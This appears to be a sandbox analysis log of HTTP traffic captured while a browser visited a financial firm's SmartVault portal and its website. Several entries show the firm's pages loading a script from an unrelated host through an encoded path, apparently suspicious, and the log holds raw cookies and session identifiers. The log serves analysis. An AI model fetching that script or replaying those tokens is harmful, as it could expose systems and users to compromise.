Source: global traffic	HTTP traffic detected: GET /group/0/62ae1f386a513fd442e6/12/icap.js?t=1712867743637&ga=GA1.1.118679924.1712867743&GoogleAnalytics4__ga=GA1.1.118679924.1712867743&GoogleAnalytics4__ga_E1ZB2L7Z3V=GS1.1.1712867743.1.0.1712867743.60.0.0&uuid=9161850b-5960-4a3c-9ab8-5bec9401f0c4&ids%5B%5D=522876257 HTTP/1.1Host: js.calltrk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chat-manifest.json HTTP/1.1Host: static.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bfjfinancialgroup.smartvault.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /group/0/62ae1f386a513fd442e6/12/swap_session.json HTTP/1.1Host: js.calltrk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /smartvault/client.json?ada_request_origin=embed HTTP/1.1Host: rollout.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bfjfinancialgroup.smartvault.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-34911621-1&cid=118679924.1712867743&jid=1335302761&gjid=1262711934&_gid=1484758262.1712867743&_u=aGBAiEAjBAAAAGAAI~&z=900503395 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-34911621-1&cid=118679924.1712867743&jid=1335302761&_u=aGBAiEAjBAAAAGAAI~&z=106304753 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=513=KJ_tlYS8RoWe7-Wj9_-4O7JXRHhOfs8A8O-xBHK8Tw1Tf3uIdoBJIo2rMpOPgBAi7HAJGtrKObe52n08PvHHy8A38W8M4IuigqbwzFeApbtdrvJaVDBGT7b4xgVbQdRVEgS9QN4nnbqL5mOSvxeKoVraQFN4jdVTVRbzBLcncgo
Source: global traffic	HTTP traffic detected: GET /sessions/231701?s=0.25&r=0.11121690088451719 HTTP/1.1Host: vc.hotjar.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bfjfinancialgroup.smartvault.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chat-manifest.json HTTP/1.1Host: static.ada.supportConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /smartvault/client.json?ada_request_origin=embed HTTP/1.1Host: rollout.ada.supportConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-34911621-1&cid=118679924.1712867743&jid=1335302761&_u=aGBAiEAjBAAAAGAAI~&z=106304753 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=513=KJ_tlYS8RoWe7-Wj9_-4O7JXRHhOfs8A8O-xBHK8Tw1Tf3uIdoBJIo2rMpOPgBAi7HAJGtrKObe52n08PvHHy8A38W8M4IuigqbwzFeApbtdrvJaVDBGT7b4xgVbQdRVEgS9QN4nnbqL5mOSvxeKoVraQFN4jdVTVRbzBLcncgo
Source: global traffic	HTTP traffic detected: GET /embed/x-storage/e540f3c/index.html HTTP/1.1Host: smartvault.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/button/e540f3c/index.html HTTP/1.1Host: smartvault.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/x-storage/e540f3c/sentry.b6985341d53aea5af72f.js HTTP/1.1Host: smartvault.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://smartvault.ada.support/embed/x-storage/e540f3c/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/x-storage/e540f3c/index.js HTTP/1.1Host: smartvault.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://smartvault.ada.support/embed/x-storage/e540f3c/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/button/e540f3c/sentry.b6985341d53aea5af72f.js HTTP/1.1Host: smartvault.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://smartvault.ada.support/embed/button/e540f3c/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/button/e540f3c/index.js HTTP/1.1Host: smartvault.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://smartvault.ada.support/embed/button/e540f3c/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed/button/e540f3c/preact.8ab2422822c47580185f.js HTTP/1.1Host: smartvault.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://smartvault.ada.support/embed/button/e540f3c/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/02/favicon.ico HTTP/1.1Host: www.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.1803119041.1712867742; traffic_src={"ga_gclid":"","ga_source":"(direct)","ga_medium":"(none)","ga_campaign":"","ga_content":"","ga_keyword":"","ga_landing_page":"https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx"}; calltrk_referrer=direct; calltrk_landing=https%3A//bfjfinancialgroup.smartvault.com/secure/SignIn.aspx%3FReturnUrl%3D%252fusers%252fsecure%252fHome.aspx; calltrk_session_id=9161850b-5960-4a3c-9ab8-5bec9401f0c4; _uetsid=11497d50f84311eeb730b1d902ccd5dd; _uetvid=1149e0c0f84311eea058e3479d5cff97; _gid=GA1.2.1484758262.1712867743; _ga=GA1.1.118679924.1712867743; _ga_E1ZB2L7Z3V=GS1.1.1712867743.1.0.1712867743.60.0.0; _dc_gtm_UA-34911621-1=1; _hjSessionUser_231701=eyJpZCI6ImE1MTM3MTE5LTcwZjAtNTM0NS05N2FhLTdhZGE3YzMyMWFiOSIsImNyZWF0ZWQiOjE3MTI4Njc3NDM4NTgsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_231701=eyJpZCI6IjRhNzY1OGFkLWFjMWYtNGI2MS1hNDUxLTlkMjI3ODQ5ZDMwOSIsImMiOjE3MTI4Njc3NDM4NTksInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MX0=
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/02/favicon.ico HTTP/1.1Host: www.smartvault.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.1803119041.1712867742; traffic_src={"ga_gclid":"","ga_source":"(direct)","ga_medium":"(none)","ga_campaign":"","ga_content":"","ga_keyword":"","ga_landing_page":"https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx"}; calltrk_referrer=direct; calltrk_landing=https%3A//bfjfinancialgroup.smartvault.com/secure/SignIn.aspx%3FReturnUrl%3D%252fusers%252fsecure%252fHome.aspx; calltrk_session_id=9161850b-5960-4a3c-9ab8-5bec9401f0c4; _uetsid=11497d50f84311eeb730b1d902ccd5dd; _uetvid=1149e0c0f84311eea058e3479d5cff97; _gid=GA1.2.1484758262.1712867743; _ga=GA1.1.118679924.1712867743; _ga_E1ZB2L7Z3V=GS1.1.1712867743.1.0.1712867743.60.0.0; _dc_gtm_UA-34911621-1=1; _hjSessionUser_231701=eyJpZCI6ImE1MTM3MTE5LTcwZjAtNTM0NS05N2FhLTdhZGE3YzMyMWFiOSIsImNyZWF0ZWQiOjE3MTI4Njc3NDM4NTgsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_231701=eyJpZCI6IjRhNzY1OGFkLWFjMWYtNGI2MS1hNDUxLTlkMjI3ODQ5ZDMwOSIsImMiOjE3MTI4Njc3NDM4NTksInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MX0=; __cf_bm=PJpzmjPGhN.V58GneuX_6dCGhQKU0fM.5_4To6u_ULw-1712867746-1.0.1.1-vVRdRRgsZPaNP5mhM9l0f_c2Prrke.LPpBr_zDReN8IPj4vENkO3WP0ktQVw_8yKRXK00jetgbbVG6mN5otYag
Source: global traffic	HTTP traffic detected: GET /payment/ HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/About_banner_284262254-2.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/payment/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ== HTTP/1.1Host: welcome.visionaryyouth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/payment/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/05/About_banner_284262254-2.jpg HTTP/1.1Host: www.bfjfinancial.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /event?correlationId=f5447fda-f9aa-4707-8a29-843cb3f895af&type=data HTTP/1.1Host: ps.azurewaf.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=749eee6039c5489b9db3000c7ab3f399&HASH=749e&LV=202310&V=4&LU=1696413236917; MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
Source: global traffic	HTTP traffic detected: GET /ajax/webstorage/process_keys/?state=1 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEmY.AWV3M9AQ76o
Source: global traffic	HTTP traffic detected: GET /about-us/ HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/css/v4-shims.css?ver=5.13.0 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/about-us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2019/01/bfjabotucom.png HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.bfjfinancial.com/about-us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ== HTTP/1.1Host: welcome.visionaryyouth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/about-us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/css/all.css?ver=5.13.0 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/about-us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/timeline-express/lib/public/css/min/timeline-express.min.css?ver=1.8.1 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/about-us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/timeline-express/lib/public/js/min/timeline-express.min.js?ver=4a124e090d7ee965f75f11dee143117d HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.bfjfinancial.com/about-us/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/webfonts/fa-solid-900.woff2 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.bfjfinancial.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.bfjfinancial.com/wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/css/all.css?ver=5.13.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=f&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEms.AWXWVZ2EOJA
Source: global traffic	HTTP traffic detected: GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=g&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEms.AWXWVZ2EOJA

Source: chromecache_302.2.dr, chromecache_490.2.dr, chromecache_237.2.dr	String found in binary or memory: <div class="linkdin_icon"><a target="_blank" href="https://www.linkedin.com/company/bfj-financial-group"><img src="https://www.bfjfinancial.com/wp-content/themes/x-child/images/linkedin-50.png"/></a></div> equals www.linkedin.com (Linkedin)
